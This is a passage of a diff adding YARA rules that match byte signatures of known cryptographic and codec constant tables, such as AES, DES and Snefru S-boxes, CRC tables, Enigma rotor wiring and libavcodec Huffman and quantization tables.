+	$a0 = { bb3c0040008b0b81c10600400033db668b195181c1f2000000ba28000000c60100414a }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_transform_matrix_4x4__8_byt_16_
+{
+strings:
+	$a0 = { 11111111160AF6EA11EFEF110AEA16F6 }
+
+condition:
+	$a0
+}
+
+	
+rule Playgate_decoding_encoding_algorithm__8_byt_256_
+{
+strings:
+	$a0 = { 28e5ba0a99206f0f3890d834c05496d9aa5da445fbb4ac2742e98b3029a15b9773cc7a8dce9295e798e8de5f9a6e6d8e62b0fad5d274402d6402be88714f614dfc9181a64aea50e3a36667f2daf54cdc23fe3686043ec260eff0eee106ae8a638ca772bc826946afe6eb091fdb0bb85c11b6076b184b8948139c3f551735eddd795e2e3aad3bb115b36ce0f8f79f032c567f1a870de2784e2f1bd651cf1dd7ffd4ab000833f3a8c5c1ec52f4687c84d3805701a2b7d070cbfd3c9b1465581226bba505bdcab2b576372acd391e475a858f22b9536a5910c77e1c44f125c8839ec37dbf493219c4d177f6c69da97ba0e4410c93c90edf2b24f9753d9421431631 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td3__0xf4a75051U___32_big_1024_
+{
+strings:
+	$a0 = { f4a750514165537e17a4c31a275e963aab6bcb3b9d45f11ffa58abace303934b30fa5520766df6adcc769188024c25f5e5d7fc4f2acbd7c53544802662a38fb5b15a49deba1b6725ea0e9845fec0e15d2f7502c34cf012814697a38dd3f9c66b8f5fe703929c95156d7aebbf5259da95be832dd47421d358e0692949c9c8448ec2896a758e7978f4583e6b99b971dd27e14fb6be88ad17f020ac66c9ce3ab47ddf4a18631a3182e551336097537f45626477e0b16bae84bb81a01cfe082b94f94868587045fd198fde6c87947bf8b75273d323ab4b02e2721f8f57e355ab2a66eb2807b2b5c2032fc57b9a863708a5d32887f230bfa5b223036aba0216825cedcf1c2b8a79b492a707f2f0f369e2a14edaf4cd6505bed50634621fd1a6fe8ac42e539d34f355a0a28ae13205f6eb75a483ec390b60efaa40719f065e6e1051bd218af93edd063d963e05aedde6bd464d548db591c45d057106d46f045015ff6098fb2419bde997d64043cc89d99e7767e842bdb0898b8807195b38e7c8eedb797c0a47a1420fe97c841ec9f800000000808683092bed48321170ac1e5a724e6c0efffbfd8538560faed51e3d2d3927360fd9640a5ca621685b54d19b362e3a240a67b10c57e70f93ee96d2b49b919e1bc0c54f80dc20a261774b695a121a161c93ba0ae2a02ae5c022e0433c1b171d12090d0b0e8bc7adf2b6a8b92d1ea9c814f119855775074caf99ddbbee7f60fda301269ff772f5bc5c663bc544fb7e345b4329768b23c6dccbedfc68b6e4f163b831dccad76385104297224013c61120844a247d85bb3df8d2f93211ae29a16dc79e2f4b1db230f3dc8652ec0dc1e3d077b3166c2b70b999a99448fa11e9642247fc8cc4a8f03f1aa07d2cd8563390ef22494ec78738d1c1d9caa2fe8cd40b3698f581cfa67ade28a5b78e26daadbfa43f3a9de42c78920d505fcc9b6a7e4662548d13c2f6d8b8e89039f75e2ec3aff5825d80be9fd0937c69d52da96f2512b3cfac993bc8187da7109c636ee83bbb7bdb267809cd5918f46e9ab701ec4f9aa883956e65e6ffe67eaabccf082115e8e6efe79bd9ba6f36ce4a9f09d4eab07cd629a4b2af313f23312aa59430c6a266c0354ebc377482caa6fc90d0b0e0a7d8153304984af1ecdaf741cd500e7f91f62f174dd68d76efb04d43aa4d54cc9604dfe4d1b5e39e6a881b4c2c1fb8c165517f465eea049d8c355d01877473fa0b412efb671d5ab3dbd25292105633e9d647136dd7618c9aa10c7a37f8148e59133c89eba927eece61c935b71ce5ede147b13c7ad2df599cf2733f5514ce7918c737bf73f7cdea53fdaa5b5f3d6f14df44db8678aff381ca68c43eb924342c38a3405fc21dc37216e2250cbc3c498b280d9541ffa80171390cb3de08b4e49cd856c19064cb84617b32b670d56c5c7448b85742d0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_dequantization_table__flt32___32_big_508_
+{
+strings:
+	$a0 = { 00000000bf58e5c53f38f3dcbfc32af1bee803043ec02f513fbc639dbffdbaa1bf98b231bf153b5cbd8e160e3ec82b843f682be93fbe3e3a400e2dbac018e1e3bfe743b7bfb48ca4bf89e6f7bf4cac19bf0e49a1beaab3abbe07a0b63d68a9373e827f3d3ef467e03f3d1a763f85abd23fb29df93fe7a9fc4019147fc018eba7bffe861fbfe02e02bfc83b60bfb23409bf9bb520bf860275bf63f877bf43ba13bf253cbcbf06a338becfd955be9b1f25be56b8fabdfdece5bd444ae83cd321e63dcd130e3e31e3223e8461313eb45f5b3ee9fa553f13a7873f3347e93f57b17d3f8133a03f9750333fad3e0c3fc41b433fdddb873ffc7232401975c9c024d723c003ab54bff301c9bfe2ea7dbfd54802bfc97ffabfbfea1cbfb740c4bfaebfcbbfa669a5bf9d3227bf945575bf8bcac1bf81bccbbf6b97ccbf542603bf3ccc14bf25100abf0f20c9bef8af81bed272c9beb122fbbe91fab9be6fc82abe3f8c22be13b646bde2bf98bd977c89bd15c0fdbbf0281c3ca6cc1d3d4436fc3d9a00e23dc8e8a73df9ef953e1566cf3e2d805e3e49c66d3e66a61a3e82e9683e92f2fa3ea3b1073eb485c23ec71ed13eddf2aa3ef432443f053e4f3f107ffe3f1cb9673f2b28e93f3bf23d3f4d9f903f60df163f74e51d3f85151e3f908f6d3f9c4d873fa76d763fb384773fc0ba303fcfb7073fe2e1263ff8b71c401295cd }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_7__32_lil_1024_
+{
+strings:
+	$a0 = { 9025677ebb13a5bee66f902c2b9c0286744fdc558e3953054796e063ab0bfdcadf374c260f21728269a6af675f8ad912c423ab8cd18bc675700437c34e7ff333ff923928673a3ae783f23210c29fadf55d0c3f9645bc4f661ca42b20802dc0c7841e7354f585108afb801d60558e962f1268e935788f5ae462e67dbdad6e6e3befc5978081670b07f308e5b1e3fae42405781ab818c90fec4b77c843a912259b04ad052b6f53c232e036f2edcfb0c48b37b8ceba89b23545c3940e0dd071a3a5585a69ad7d43e339fcbf86913b8c0321f9dfa90ace061f5da4f8de62b4a240f7685857a2c1832668ac0fb3db2819fe6111658a46f4d51cc600984de5f7d7986ba5b61884d2a5095f0be8b49052c8b249771cf1697e2b4117edc06f7fcc8d8356a246956e198675d09a9b7b081da031d215d446affd60700957f620d99f3f2d88c9c3e73a9b0da0e8be7ee64fb20ef82e0c6b91c1a0fedff4ebb37eb9dd84fffdf1148bff72056be98c504bf66e0a22ae5aae23445ecebec27c5627de635c93fc73550747f0275be622fd21e1538766f2d7f5eb2d8de0478303da5eace9eb7c2a2ed9e83fe42f542350bda71f02419bcf39ba0d9d2a90b89c8b9d24a77a666d0feca9bf5ef24d596a3809607991753b02c8792ceaea079dc9e15ecb643dab9c1a2795db762f018ec01a48fb3de7222f875cd14829792c78a432d2506f8a72f078b1aa875a9cc1e2c4877376ee64182a1bd3108d7b613171d156c4ea0e069e79d848b545b665cb434029fb74a830d0124b1374687d1f9aef184c1d63d7dac72958fa30facdb04b08c5e220cd924069c1d4c03e28033f8117a9017d589a8f1f0470dcb16adcd5e3aedd429782312d028c19cbaf9e1c496cbc5b3a29d3d30700d5162088bb04412a5c3cf87aee372540b08ebaec13939947fcbf44a7558933d685efa7994450866acaa697323dbb36824ab34fbecc6d943314067bfc19cec6c6c3ccae5462e3a1edb7779edd33a16a35f9eb88cf3c5117b4a1e2bde52e97cd243885eef45257e842116c09f3a43e4a93b5b2aa28d6df3eeaac592cb91ea0bc649938d45d30dab7599a0193cad211b9d3a6faca2e774e761765720e5b4efba8918fa3b563061d92f1f430b65100b5b3cc16b7591bbd4a265f6c14dee234f16c7cf60095b7e1b0c74eaa98343bc70ca376426571a81b8d16520a74231ad0e0d661d19e24a3369f7fbb3e991b49b9fedbdc5d36c5ff0c818203ec71bfe74922467081485b4aa2f3d9e4884243c2f50b51e17f250d4cb69566f0644108dbf7aa9d11b173b87b9f8f964584d6a6347af00a3d94536d16ddf9af57897ae53cbaf81e62c92710e9da5c988951c8fe381594d81561133c44a8ab31f9014d60f7ed346b265fb414ded4d535acd85285d8cf1521cdc5cb4d6dd74c54ef807c75ee92bcf6a1561e }
+
+condition:
+	$a0
+}
+
+	
+rule _rotor_German_Enigma__8_byt_STR_26_
+{
+strings:
+	$a0 = { 5952554851534c4450584e474f4b4d494542465a4357564a4154 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes2__16_big_96_
+{
+strings:
+	$a0 = { 0000000a0018007400f201f403f60004000b0019007500f301f503f7001a001b0038007600f403f803f900770039007800f501f603fa0ffc00f600f700f801f703fb0ffd3ffe00f901f801f903fc07fc7ffefffe01fa03fd07fd0ffe1ffeffff }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s7__8_byt_128_
+{
+strings:
+	$a0 = { 1b32335a3b1017545b1a72736b2c66491f24136c372e3f4a5d0f405625511c040b46200d7b3544422b1e41144b79156f0e550936740c6753280a7e38020760291912652f303908685f782a4c6445753d594803577c4f623c1d215e276a704d3a016d6e6318772305267600312d7a7f61502211064716524e713e6943345c587d }
+
+condition:
+	$a0
+}
+
+	
+rule BHEncodeTable__32_big_ASC_256_
+{
+strings:
+	$a0 = { 0000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d000000300000003100000032000000330000003400000035000000360000003800000039000000400000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000005000000051000000520000005300000054000000550000005600000058000000590000005a0000005b0000006000000061000000620000006300000064000000650000006600000068000000690000006a0000006b0000006c0000006d000000700000007100000072 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_quant_centroid_tab__flt32___32_big_392_
+{
+strings:
+	$a0 = { 000000003ec8b4393f42d0e53f8f5c293fbd0e563fea7efa400bb64640229fbe403926e9404fae14406645a2407c49ba4089374c40972b02000000003f0b43963f87ae143fc8106240045a1d40248b4440449ba64063f7cf40823d714093d70a00000000000000000000000000000000000000003f3ef9db3fbb645a400b851f403872b040656042408a1cac00000000000000000000000000000000000000000000000000000000000000003f80c49c40000000403f8d50407f0a3d000000000000000000000000000000000000000000000000000000000000000000000000000000003fa91687402cfdf4407ee97900000000000000000000000000000000000000000000000000000000000000000000000000000000000000003fd41893405f6c8b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ffb645a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Phi_Fract_Qmf__flt32___32_big_512_
+{
+strings:
+	$a0 = { 3f5172433f13338bbe871a5e3f76ed3cbf7f35f93da0af2abed2b203bf6951ba3f37d720bf3227573f65e5233ee13fb5bde0bc623f7e743abf78ed3c3e6f0c4dbf0c8cc2bf55f7793f19b524bf4cb8223f74aeda3e968c743d40f2b23f7fb73fbf6c835e3ec3ef15bf2c4a8cbf3d58773eef947fbf623e773f7d72313e10486a3e4fa7793f7aae59bf5a46a03f05c277bf47ca4abf200fe73ea5d881bf7232a63f7ff7eabc80aca23eb4faa83f6f7943bf42a9f73f26423abf5e5ea3befdacc23e300e2fbf7c30203f7c3020be300e2f3efdacc23f5e5ea3bf26423a3f42a9f7bf6f7943beb4faa83c80aca2bf7ff7ea3f7232a6bea5d8813f200fe73f47ca4abf05c2773f5a46a0bf7aae59be4fa779be10486abf7d72313f623e77beef947f3f3d58773f2c4a8cbec3ef153f6c835ebf7fb73fbd40f2b2be968c74bf74aeda3f4cb822bf19b5243f55f7793f0c8cc2be6f0c4d3f78ed3cbf7e743a3de0bc62bee13fb5bf65e5233f322757bf37d7203f6951ba3ed2b203bda0af2a3f7f35f9bf76ed3c3e871a5ebf13338bbf5172433f13338bbf5172433f76ed3c3e871a5e3da0af2a3f7f35f9bf6951ba3ed2b203bf322757bf37d7203ee13fb5bf65e5233f7e743a3de0bc623e6f0c4d3f78ed3cbf55f7793f0c8cc2bf4cb822bf19b5243e968c74bf74aeda3f7fb73fbd40f2b23ec3ef153f6c835ebf3d58773f2c4a8c }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_decryption_sbox__32_lil_1024_
+{
+strings:
+	$a0 = { 33000000730000003b0000002600000063000000230000006b000000760000003e0000007e000000360000002b0000006e0000002e000000660000007b000000d300000093000000db0000000600000043000000030000004b00000096000000de0000009e000000d60000000b0000004e0000000e000000460000009b00000057000000170000005f00000082000000c700000087000000cf000000120000005a0000001a000000520000008f000000ca0000008a000000c20000001f000000d900000099000000d10000000000000049000000090000004100000090000000d800000098000000d000000001000000480000000800000040000000910000003d0000007d00000035000000240000006d0000002d00000065000000740000003c0000007c00000034000000250000006c0000002c0000006400000075000000dd0000009d000000d5000000040000004d0000000d0000004500000094000000dc0000009c000000d4000000050000004c0000000c000000440000009500000059000000190000005100000080000000c900000089000000c10000001000000058000000180000005000000081000000c800000088000000c000000011000000d700000097000000df0000000200000047000000070000004f00000092000000da0000009a000000d20000000f0000004a0000000a000000420000009f00000053000000130000005b00000086000000c300000083000000cb000000160000005e0000001e000000560000008b000000ce0000008e000000c60000001b000000b3000000f3000000bb000000a6000000e3000000a3000000eb000000f6000000be000000fe000000b6000000ab000000ee000000ae000000e6000000fb00000037000000770000003f0000002200000067000000270000006f000000720000003a0000007a000000320000002f0000006a0000002a000000620000007f000000b9000000f9000000b1000000a0000000e9000000a9000000e1000000f0000000b8000000f8000000b0000000a1000000e8000000a8000000e0000000f10000005d0000001d0000005500000084000000cd0000008d000000c5000000140000005c0000001c0000005400000085000000cc0000008c000000c400000015000000bd000000fd000000b5000000a4000000ed000000ad000000e5000000f4000000bc000000fc000000b4000000a5000000ec000000ac000000e4000000f500000039000000790000003100000020000000690000002900000061000000700000003800000078000000300000002100000068000000280000006000000071000000b7000000f7000000bf000000a2000000e7000000a7000000ef000000f2000000ba000000fa000000b2000000af000000ea000000aa000000e2000000ff000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Magenta_tab_and_large_tab0__32_big_1024_
+{
+strings:
+	$a0 = { 000000010000000200000004000000080000001000000020000000400000008000000065000000ca000000f1000000870000006b000000d6000000c9000000f70000008b00000073000000e6000000a9000000370000006e000000dc000000dd000000df000000db000000d3000000c3000000e3000000a300000023000000460000008c0000007d000000fa00000091000000470000008e00000079000000f20000008100000067000000ce000000f9000000970000004b000000960000004900000092000000410000008200000061000000c2000000e1000000a70000002b00000056000000ac0000003d0000007a000000f40000008d0000007f000000fe0000009900000057000000ae0000003900000072000000e4000000ad0000003f0000007e000000fc0000009d0000005f000000be000000190000003200000064000000c8000000f50000008f0000007b000000f60000008900000077000000ee000000b9000000170000002e0000005c000000b8000000150000002a00000054000000a8000000350000006a000000d4000000cd000000ff0000009b00000053000000a60000002900000052000000a40000002d0000005a000000b40000000d0000001a0000003400000068000000d0000000c5000000ef000000bb00000013000000260000004c0000009800000055000000aa0000003100000062000000c4000000ed000000bf0000001b000000360000006c000000d8000000d5000000cf000000fb00000093000000430000008600000069000000d2000000c1000000e7000000ab0000003300000066000000cc000000fd0000009f0000005b000000b60000000900000012000000240000004800000090000000450000008a00000071000000e2000000a1000000270000004e0000009c0000005d000000ba0000001100000022000000440000008800000075000000ea000000b1000000070000000e0000001c0000003800000070000000e0000000a50000002f0000005e000000bc0000001d0000003a00000074000000e8000000b50000000f0000001e0000003c00000078000000f0000000850000006f000000de000000d9000000d7000000cb000000f30000008300000063000000c6000000e9000000b70000000b000000160000002c00000058000000b0000000050000000a000000140000002800000050000000a0000000250000004a000000940000004d0000009a00000051000000a20000002100000042000000840000006d000000da000000d1000000c7000000eb000000b300000003000000060000000c000000180000003000000060000000c0000000e5000000af0000003b00000076000000ec000000bd0000001f0000003e0000007c000000f8000000950000004f0000009e00000059000000b200000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Crysis_game_type_table__8_byt_256_
+{
+strings:
+	$a0 = { 0a00005c7a61002c468000215700004f00191c00005d007112000000511e03330013840027004e008c0000000050002b3c82472800118d0070420d01070908050034006b10666d0000390078000055590400007263008700000000005867482d3b4c350026000389001a03006a30834a000b8b005a74007d14184b0000006c1b00200045380e3a258600006f005b002400620000008e4400887e0c230036000031005f53907b7c004173603d76005e8a0068033f00008f16170085000000561575001d004000000029004d2200002a437f3e2e001f00006e0000004900000000690000002f00323754520077006500007900000000640f810000000003030206 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox6__32_big_256_
+{
+strings:
+	$a0 = { 20000010204000000000400020404010204000000000001020404010004000002000400000404010004000002000001000400010200040002000000000004010000000000040001020004010000040000040400020004010000000102040001020400010000000000040401020404000000040100040400020404000200000002000400000000010204000100040400020404010004000000000401020000010004000002000400020000000000040102000001020404010004040002040000000404010204040000000000020400010000000100000400020400000004040100000400000400010200040100000000020404000200000000040001020004010 }
+
+condition:
+	$a0
+}
+
+	
+rule Inverse_Modified_DCT_pm64__liba52___32_big_256_
+{
+strings:
+	$a0 = { 0000000000000008000000100000001800000020000000280000003000000038000000040000001400000024000000340000000c0000001c0000002c0000003c000000020000000a000000120000001a000000220000002a000000320000003a000000060000000e000000160000001e000000260000002e000000360000003e0000000100000009000000110000001900000021000000290000003100000039000000050000001500000025000000350000000d0000001d0000002d0000003d000000030000000b000000130000001b000000230000002b000000330000003b000000070000001700000027000000370000000f0000001f0000002f0000003f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_ccpl_huffcodes5__16_big_62_
+{
+strings:
+	$a0 = { 03f803f903fa03fb01f801f900f800f9007800790038003900180019000400000005001a001b003a003b007a007b00fa00fb01fa01fb03fc03fd03fe03ff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_dequantization_table__flt64___64_big_1016_
+{
+strings:
+	$a0 = { 0000000000000000bfeb1cb89ffe946e3fe71e7b8004f14cbff8655e1ffe9f99bfdd00608001f4cb3fd805ea1ff774ca3ff78c73a0007e0fbfffb7541ffe2757bff316462002a664bfe2a76b80027914bfb1c2c1c018224f3fd905708007dc9f3fed057d1ffe5c993ff7c7c7400133174001c5b7400072adc0031c3c6000e749bffce876dffda37cbff691948002ae56bff13cdee002862ebfe995831ffb3525bfe1c9341ff936e7bfd556755ffafdbdbfc0f416c00e62133fad1526e06cfc533fd04fe79ff30b363fde8cfc000bd6873fe7a34ec004fce53ff0b57a3fff4ce63ff653bf2001764e3ffcf53f7ffcf8544003228fe00087f0c0031d74dfff433cbfffd0c3e002f948bffc05c03fff271bbff9076bffffeb62bff646811ffcd4e5bff376a3fffd656cbff0c04e9ffd094bbfec7f0edffa7898bfe87742600656dabfe4a7977ffdab00bfe0d46700031eddbfd9fb2a9ffd102abfd363e49ffb7e28bfcad71f40070d2dbfbfbd9c9ff4acafbfa8895d004916983f9a643cc07aaef33fb9a261c0139fd33fc63c643ff5ad4e3fd08c262004952c3fd68beb600240993fdd3f4a9ff7b1c73fe274f0dfffef093fe668fd1fff38803feaf62f9ff9dcb03ff02674000203653ff2ea065ffe5de33ff5a7c1800313b23ff883685ffdd1033ffbbb70e00282be3fff8e46400202f740032eb91fff7659c0049ae45ffe7ccfc000756a8000b53fbffe60391ffce2a4bffc5d4f9ffd1552bffaa9003ffd0159bff92fff3ffcf553bff7fd437ffd286fbff6e8187ffe92eebff5d7f95fff795abff4cd349ffd886dbff3a644e0022968bff28aae9ffe1c2cbff179582001c70dbff037996001d616bfed72f980008dbcbfea84c060003b7cbfe799828005457bbfe4a2014003ec98bfe1e41920024107bfdf15f01ff44d56bfda4e591ff414a4bfd6245f6000d463bfd23f57200a520dbfcdf9053ffef548bfc7f1844017d26dbfc276c8c0090040bfbc57f3001928bcbfb2ef911ff4fe49bfa2b81fa0112989bf7e050382bdf64a3f94d983a07b389a3fa886df801e418b3fb3401c3fddadc93fb91d14dfdf43e03fbf3df29ff5474d3fc2acd9e0152fe63fc5b00bc01674d03fc938cda00828003fccd4c3400d099e3fd05d2d0008fc623fd25e5f400bc6a33fd47620dff2ba093fd690b83ff99f7c3fd8e3da1ffa23fc3fdbbe554007dec53fde8648800443c83fe0a7c9e00189a23fe20fffc00146d93fe3972ce00630333fe5651d1ff9da1c3fe77e479ffafd4f3fe9b3f1fffbe8073fec1be2c00511823fee9ca39ffbe0153ff0a2a3bffeac453ff211eda00111ce3ff389b0e00214ca3ff4edaebfff308e3ff6708edffec41b3ff81746000192023ff9f6e0e0029e3b3ffc5c24bffddc643fff16e38002f4c6400252b9a0005843 }
+
+condition:
+	$a0
+}
+
+	
+rule Speex_high_lsp_cdbk__8_byt_512_
+{
+strings:
+	$a0 = { 270CF2ECE3C3BDB4E0B9BD444D2E2205F3D0D2B8AFACC4C6D8E4525D442D1D03EDD1E4D5DDE2F8F3D9A5A585A00A0AFAEEC9C4A5C8DCE5F0D0B5281CF6E42309251301ECE1D7EEE7DDBCB02D1BFF2F0D00E3DDC7CEB1B7DAED05230EF6E910F805E8D8C2E9E5EAF0EED2B8B32B152101B0BABAC0C8CCD9DFE1DAEDEDF12021FE07F1F1E8E9DFD7C8E8C7055940291B05F7D1C49F9F84ECF7D4B71F1DFC403007DDC700FDE6D1FDFAD8B4B1D00C51370A09E8D5B7C7BB1005E4CB121D1400FCF506F31707EFDDDBDBE2BCC10618F7F20315F3E5C7CFB0E8D7FBF0FB012D190CF903F1FAF0F1F806F3D6AFB0A90E01F6FDD5BBD2E8E4E32406D5C8F40C364F2B0936160208F4D5D2CCDABBA7FB4B262105F3CBC2A9A78F9DC9DEDB3E37211015FEEFD2E3DADAD0D9D6DCB5B8A8D0E21502F1C7C09EACB41901D2B0F412F9032206261F1704FF140EF1D5B2A5E80EFD361000E5E4D4C8ADA4A7FD223829241614F8F9DDD6C2CF030CF6CEA9A0BE5C462609BAB9C2D6D9D5F5F9CEB1C6CEE1201FFAFCE707EFDABAC6E5D5ADE43B24141F02E5B9B0939EB5DFE0E1FE210FFA2B21FB00EAF6E5DECFF5ECD7A59C87D939290AEDCEDAC5C4BAEEECF8E1F8F101F2E6E72115201101EDEDE6C6AFDDEA2D1E0BF503E6D0A9BDADC603FFE6EC2C0A192705F7DDE5DA070A04F7D6AB9A81342C1C0AD1C3D8D9EFFFF6DFD6B6D015FC46340A }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x233__16_lil_refl_False_
+{
+strings:
+	$a0 = { 0000330266045506cc08ff0aaa0c990e9811ab13fe15cd175419671b321d011f3023032156276525fc2bcf299a2fa92da8329b30ce36fd34643a5738023e313c6046534406423540ac4e9f4cca4af948f857cb559e53ad51345f075d525b615950656367366105639c6daf6ffa69c96bc874fb76ae709d72047c377e6278517ac08cf38ea688958a0c843f866a805982589d6b9f3e990d9b9495a797f291c193f0afc3ad96aba5a93ca70fa55aa369a168be5bbc0eba3db8a4b697b4c2b2f1b0a0ca93c8c6cef5cc6cc25fc00ac639c438db0bd95edf6dddf4d3c7d192d7a1d590e9a3ebf6edc5ef5ce16fe33ae509e708f83bfa6efc5dfec4f0f7f2a2f491f6b31b8019d51fe61d7f134c1119172a152b0a18084d0e7e0ce702d4008106b2048338b03ae53cd63e4f307c3229341a361b29282b7d2d4e2fd721e423b1258227d35de05fb559865b1f552c5779514a534b4c784e2d481e4a8744b446e140d242e37ed07c857ab6782f761c7449727a707b6f486d1d6b2e69b7678465d163e2617397409515932691bf9f8c9dd99bea99eb86d8848d82be80278e148c418a728843b470b625b016b28fbcbcbee9b8dabadba5e8a7bda18ea317ad24af71a942ab13d120d375d546d7dfd9ecdbb9dd8adf8bc0b8c2edc4dec647c874ca21cc12ce23f210f045f676f4effadcf889febafcbbe388e1dde7eee577eb44e911ef22ed }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_2__16_lil_258_
+{
+strings:
+	$a0 = { 0040dc3eb93d963c733b523a31391338f536d935bd34a3338a3275316030502f412e332d252c1d2b152a1229102815271a2624252f24412353226d218720a71fc71ee71d071d2f1c581b881ab919f3182e186e17af16f91545159814ec134913a61205126411cd103610a70f190f930e0d0e8d0d0d0d920c1b0ca50b350bc60a5c0af20988091e09ba085608f9079d074807f306a30654060b06c2057f053c05fe04c104850449041304dd03ac037b034e032103f702ce02a802830261023f021f02ff01df01bf01a20185016b0151013a0123010e01f900e600d400c300b300a4009500870079006c00600055004a00400036002d0024001c0014000d0006000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_dirac_schro_video_format_info__16_big_136_
+{
+strings:
+	$a0 = { 028001e05dc003e900b000783a9803e900b0009000190002016000f03a9803e9016001200019000202c001e03a9803e902c002400019000202d001e0753003e902d0024000190001050002d0ea6003e9050002d00032000107800438753003e9078004380019000107800438ea6003e9078004380032000108000438001800011000087000180001 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_v1_ip1__8_byt_16_
+{
+strings:
+	$a0 = { 060c0e0a0b070903040d01000f020508 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x42F0E1EBA9EA3693__64_big_refl_True_
+{
+strings:
+	$a0 = { 0000000000000000b32e4cbe03a75f6ff4843657a840a05b47aa7ae9abe7ff347bd0c384ff8f5e33c8fe8f3afc28015c8f54f5d357cffe683c7ab96d5468a107f7a18709ff1ebc66448fcbb7fcb9e3090325b15e575e1c3db00bfde054f943528c71448d0091e2553f5f08330336bd3a78f572daa8d1420ecbdb3e64ab761d617d9ba13851336649ceb5ed8652943926891f976ff973c6123a31dbd1fad4997d064b62bcaebc387ab5652e02ad1b6715f2cf54eb06fc982141e11855055bc74e8a3a2631ae2dda2f39146a8fad8a85407ebe1066066d7a74cd905cd805ca251bf1eae5b551a2841c42c4a90b5205db73056ed3e2f9e22447b6409f5cfa457b28fb374270a266cc9248190ecea1c193fd0fb374270a266cc9bc9d3899098133a680e781f45de992a133c9cd4a5e4ecdce7463b7a3f5a932fac74dfb1df60e6d950c96c5795d7870f4bfb889c75edf2f9bf812f32ef538d0af4b3cbf90f69f8fc0774606fda2f72ec7c4684a43a15071a883c230aa0ab78e9c30ec7c140910d1f386ace348f355aadb3582aff6f0f2f5b47228d51f5b150a80c10699a158b255effd7c20cc0cdaf4e84e526c720f7dab8709f8169ba49a54b3bad65a25a73d0bdc710d64410c4b16bdc22328ff0fec49d285895216a40bb6e636a71ea8a7ace9890adda7c5f3c4488eb9f3eb7bf06317e1fe5991925b84e8d54d77dd2c5823b7ba64b62bcaebc387a1d7986774e864d8ce90321d9d438327fa231c5123402478951f66e84e144cd992ac48a4f017eb86fdebe2de19bc0c79c958cc92a7bfab26a69317acc314dd3bc72039e07d177a64a867939a94bc9d9b9cd4bdd62abf3ac4f3e8c76f47eb5265f45be923f9e8f53a9b1c4359104312c5afaf6d15ae40b59ac0192d8af2baf0e1e8aa03c64cb957be87eda9bca512b041b35e87f01b11171edc62fd4976457fbfdbd1d305c846d8e0b496797f21ed3f1f802557339fee9840efee8c0dfb45ee5d8e5da24145464902e11a083bacedaefdd5a9267712ee09a2ba955cce7fba6103bd267282c1b9c65cd261d8f8281221a3e6d2f6b4961186fc899f8169ba49a54b332caf25044a02145c6b055fede1e5eb68d82b1353e242b407e451aa3eb62a1500577fe680b58d4a6f10d59c691e6ab55ba3fbd0d71dcdea346820eeb3b6bbf755db0ea20db51ca83a9ca4d8e41efb570e2f8a945a1d5c086113f02d374934a966a0de61894a93f609e7741b60e174093d545a57dee2d35652e21ac88218962d7a5134843c1b317215169efed5b0d68d21a5b0b26bb371d24e99ca0b06e71973492ae447b8e4be2c266d4e3d514f59d312de6071ef4cfe8c7d15bb4f8be788911ca6950335e42fce73e13f79dc4fc83147521135624c6f6e286e6b8c0f1807cf2fdd45c0b11ba090409aefba58b0476f7429c1f6e6b3e0301bc96c5795d7870f427a421b2bd420502d3de861c27fc7af198ec62d7c7c60f076b2bc9411280851710192d8af2baf0e1e4638a2468048f12af516eef883efae453ecdd09c2899b3248de39c222b3eec4bca49e6cb80d9137f7967aa75837e4c10451d1318d716ed17f6335fa6d4b1b278b199254f7f564d4c02b769f17cf11223b4f7f6ad86b4690b07d9ba13851336644073c0fa2ef4c950f35d8c442d53963fcf273529793b37387c0979977a9c68573ba3037ed17b9763888d4fc0d2dcc80c435671a479aad56df0783d1a7a0d8a02b7d247f3d1ea753604fc0b4dd24d2a593886b22086258b5e8ba8fe9e8582d431cc0284772e652b057f2cc8c92dc2746a325b15e575e1c3d08175595b76469cbfc6df23b2dda1638b75f16f0cde063ce4498bd6618a6e9de3faa59adf89c9c28cbd0fe036222e3db80e21ac88218962d7c5fa92ec8aff7fb676d4de52895820d9317ea4bb22bfdfed8250e80521188082be2a5168757021850d041dd676d77eea4aae673fdd3081def9802b81de97deb14fc0b4dd24d2a599fceef8632775faf6bb44828a8c9205c2086ace348f355aad34107759db5dfbaa873e3be7d8faa4c5c094410e731d5bf173ba0db070ba049eb86133d4dbcc19ff0b4f7f6ad86b46904ce50583738cb9a4ffcb493d702be6cbc3b1f050244347cc709fbcee27e418a33735c6078c03e797841b8ab98fa4b8f8adda7c5f3c4488e31ef430e13fe3d78c595e4a08940428b8ea7006b697a377d7d60abfdbc3cbd6d06524f365c06c89bf228e898c6b8b768b91a0c532682c29e45a7bfb56c35a3485e955b7e8c0fd6beaaeffcd016b1a94de1dd181bf68bdcbb121ab38d23cd56ab69285746c3f7235d9d52f0e859495caed6601423b97329582d041dd676d77eeaa636f91d96ed0b1c524c5eb30c5374ef197eba78ec690119eab911ee392f8b09918bf525d915feff65f1528b43ab810c2ec3b640a391f4fad27e05a6e926952cc94ce16d091ce0da3d3646c393a29f297604a2087398eadf85c3099ea6de60cffef1ed5546e415390a8b4afbdc5a6aca41b9ae303c601f3cb56ed3e2f9e224471e5c372919d851b1ea26908783662e42a114744c635c5bb452d3dfdab61ad1a429e13b115620a452dd9b9cbfcc9edba196a978742ca